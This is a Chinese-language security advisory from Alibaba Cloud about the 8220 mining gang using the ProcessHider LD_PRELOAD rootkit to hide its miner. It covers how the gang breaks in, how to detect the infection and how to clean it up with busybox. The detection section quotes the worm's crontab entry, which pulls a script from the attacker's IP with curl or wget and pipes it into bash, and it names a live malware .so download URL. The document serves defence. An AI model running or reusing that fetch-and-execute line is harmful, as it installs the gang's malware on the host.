威胁快报|挖矿团伙8220进化,rootkit挖矿趋势兴起

本文涉及的产品
AI安全态势管理免费试用,1000次,有效期3个月
简介: 近日,阿里云安全团队发现8220挖矿团伙为了更持久的驻留主机以获得最大收益,开始使用rootkit技术来进行自我隐藏。这类隐藏技术的使用在watchdogs等挖矿蠕虫使用后开始出现逐渐扩散和进化的趋势,此后预计主机侧的隐藏和对抗将成为主流。

近日,阿里云安全团队发现8220挖矿团伙为了更持久的驻留主机以获得最大收益,开始使用rootkit技术来进行自我隐藏。这类隐藏技术的使用在watchdogs等挖矿蠕虫使用后开始出现逐渐扩散和进化的趋势,此后预计主机侧的隐藏和对抗将成为主流。

背景

阿里云安全团队蠕虫监控平台发现8220挖矿团伙的下载脚本出现更新,除了下载必要的驻留脚本、挖矿程序之外,新增加了一个 so文件的下载地址:http://107.174.47.156/1.so

8220挖矿团伙是一个长期活跃的利用多个漏洞进行攻击和部署挖矿程序的国内团伙[1-2],该团伙组合利用WebLogic XMLDecoder 反序列化漏洞(CVE-2017-10271)、Drupal RCE(CVE-2018-7600)、JBoss 反序列化命令执行漏洞(CVE-2017-12149)等多个漏洞进行攻击并部署挖矿程序进行牟利。

通过对相关脚本和该so的简单分析,我们确认8220团伙已经在其攻击工具包使用ProcessHider[3]对自身进行隐藏。ProcessHider是被众多恶意软件广泛利用的rootkit。挖矿蠕虫利用该工具使管理员难以通过常规手段检测到挖矿进程,从而提高挖矿进程的存活时间以最大化挖矿收益。随着时间的推移,可能会有越来越多的挖矿蠕虫加入rootkit功能。

蠕虫检测

如果在云控制台看到明显的CPU 上升,机器整体性能卡顿,但是登录机器使用 PS/TOP 等命令却无法定位到具体占用CPU的进程,此时该机器就很可能已经感染此类使用 rootkit 进行隐藏的挖矿蠕虫。

1.主机检测

该蠕虫利用LD_PRELOAD机制,使得自身的so文件先于系统加载,并通过劫持 readdir函数,使依赖该 API 返回的PS/TOP等系统命令无法正确返回结果 。 因此用户使用这些受影响的系统命令将无法看到真实的进程。

_


如上图所示,该蠕虫隐藏的进程关键字是kworkerds。

在主机侧可以使用以下命令对蠕虫进行检测

查看动态链接库
#ldd /bin/top|grep usr
  /usr/local/lib/libkk.so (0x00007f0f94026000)
发现存在异常的so文件

查看 PRE_LOAD系统变量
#cat /etc/ld.so.preload 
  /usr/local/lib/libkk.so
发现preload文件被修改

查看 crontab
#crontab -l
  */30 * * * *  (curl -s http://107.174.47.156/mr.sh||wget -q -O - http://107.174.47.156/mr.sh)|bash -sh
发现crontab出现奇怪的定时任务

使用普通top 查看到的进程:

_


LD_PRELOAD依赖于动态链接过程,因此使用静态编译的busybox执行top命令,将可以看到真实的全部进程。

_

2.网络检测

随着对抗的不断升级,挖矿蠕虫的自我隐藏功能必将不断升级,而面对全副武装的蠕虫病毒,普通用户在主机侧与其进行强对抗成本极高并且收益较低。针对该类蠕虫通过网络侧的NTA(Network Traffic Analysis)功能进行检测更加有效。因为无论攻击者在主机侧采用了何种隐藏手法,但其远程下载、C&C通信、矿池通信等行为均会在网络流量中留下痕迹。

下图是在网络侧云防火墙通过检测到主机感染后下载后门文件的行为发现该蠕虫的记录。

_

修复方案

1.由于本地命令可能都已被劫持,因此首先下载静态编译的busybox来执行指令,保证执行的系统命令不受劫持影响。

下载二进制
#wget https://www.busybox.net/downloads/binaries/1.27.1-i686/busybox
赋予执行权限
#chmod +x busybox

2.清理动态劫持

./busybox rm -f  /usr/local/lib/libkk.so 2>/dev/null
./busybox chattr -i /etc/ld.so.preload 2>/dev/null
./busybox chattr -i /usr/local/lib/libkk.so 2>/dev/null
./busybox rm -f /etc/ld.so.preload
./busybox touch /etc/ld.so.preload
./busybox chattr +i /etc/ld.so.preload
ldconfig

3.杀恶意进程和相关文件

./busybox ps -ef | ./busybox grep -v grep | ./busybox egrep 'kworkerds' | ./busybox awk '{print $1}' |./busybox sed "s/root//g" | ./busybox xargs kill -9  2>/dev/null
./busybox ps -ef | ./busybox grep -v grep | ./busybox egrep '107.174.47.156' | ./busybox awk '{print $1}' |./busybox sed "s/root//g" | ./busybox xargs kill -9  2>/dev/null
./busybox rm -f /var/tmp/kworkerds
./busybox rm -f /var/tmp/sustse*

4.修复 crontab

./busybox chattr -i  /etc/cron.d/root  2>/dev/null
./busybox rm -f /etc/cron.d/root
./busybox chattr -i /etc/cron.d/apache  2>/dev/null
./busybox rm -f /var/spool/cron/apache
./busybox chattr -i /var/spool/cron/root  2>/dev/null
./busybox rm -f /var/spool/cron/root
./busybox chattr -i /var/spool/cron/crontabs/root  2>/dev/null
./busybox rm -f /var/spool/cron/crontabs/root
./busybox rm -rf /var/spool/cron/crontabs
./busybox touch /var/spool/cron/root
./busybox chattr +i /var/spool/cron/root

5.再次修复下 crontab,回到第3步再次执行

6..修复完成和重启crontab

service crond start

REF:

1.https://github.com/gianlucaborello/libprocesshider

相关文章
|
2月前
|
存储 数据可视化 机器人
从 LangChain 到 LangGraph 构建可控 Agent 的工程实践
本文详解如何用 LangChain 的 `create_agent` 与 LangGraph 的 `StateGraph` 构建有状态、可控制、可调试的智能 Agent:支持条件判断、工具调用、流程分支与短期记忆,告别线性 Chain,迈向工程化图智能体。
1078 1
|
XML Java 数据格式
探索Spring之利剑:ApplicationContext接口
本文深入介绍了Spring框架中的核心接口ApplicationContext,解释了其作为应用容器的功能,包括事件发布、国际化支持等,并通过基于XML和注解的配置示例展示了如何使用ApplicationContext管理Bean实例。
|
存储 监控 Java
Zipkin/Pinpoint/SkyWalking全面对比
【11月更文挑战第1天】这里重点从探针的性能、Collector的可扩展性、调用链路分析、完整的应用拓扑、对于科技人员使用友好程度(部署安装、埋点接入、使用管理)几个方面来进行对比。
|
前端开发 Java API
SpringBoot整合Flowable【07】- 驳回节点任务
本文通过绩效流程的业务场景,详细介绍了如何在Flowable工作流引擎中实现任务驳回功能。具体步骤包括:获取目标任务节点和当前任务节点信息,进行必要的判空和逻辑校验,调用API完成节点回退,并清理相关脏数据(如历史任务和变量)。最后通过测试验证了驳回功能的正确性,确保流程能够成功回退到指定节点并清除中间产生的冗余数据。此功能在实际业务中非常有用,能够满足上级驳回自评等需求。
2517 0
SpringBoot整合Flowable【07】- 驳回节点任务
|
数据挖掘
InsTag:大语言模型监督微调数据标签标注工具
魔搭社区发布了一个名为“InsTagger”的工具,用于分析LLM(大语言模型)中符合人类偏好的监督微调(SFT)数据。InsTagger 是基于 InsTag 方法训练的本地指令标签标注器,用于为符合人类偏好的监督微调数据集中的指令标注描述其意图和语义的标签,从而指导指令的分流或监督微调数据集的分析。
|
弹性计算 缓存 负载均衡
ECS通知问题之频繁告警如何解决
ECS(Elastic Compute Service,弹性计算服务)是云计算服务提供商提供的一种基础云服务,允许用户在云端获取和配置虚拟服务器。以下是ECS服务使用中的一些常见问题及其解答的合集:
|
存储 编译器
.Net特性Attribute的高级使用
【10月更文挑战第14天】在.NET中,特性(Attribute)是一种强大的机制,用于在代码中添加元数据。本文介绍了特性的高级用法,包括自定义特性、通过反射读取特性、条件编译与特性结合、多个特性应用以及特性继承。通过示例展示了如何创建自定义特性类、应用自定义特性,并通过反射获取特性信息。此外,还介绍了如何利用条件编译符号实现不同版本的代码控制,以及如何在一个代码元素上应用多个特性。最后,探讨了如何通过`AttributeUsage`控制特性的继承行为。
337 1
|
存储 物联网 数据处理
什么是时序数据库?
【5月更文挑战第13天】什么是时序数据库?
538 1
|
开发框架 中间件 数据库
Django 框架入门全攻略:轻松构建 Web 应用
【5月更文挑战第18天】本文是 Django 入门教程,介绍了如何使用 Django 构建 Web 应用。内容包括安装、项目与应用创建、模型定义、数据库迁移、视图编写、路由配置、模板系统、表单处理和中间件的使用。通过实例展示了 Django 基本流程,帮助初学者快速上手。Django 提供高效工具,便于开发者聚焦业务逻辑,轻松构建功能丰富的 Web 应用。
343 5
|
芯片
组合逻辑电路之半加器
组合逻辑电路之半加器
836 0
组合逻辑电路之半加器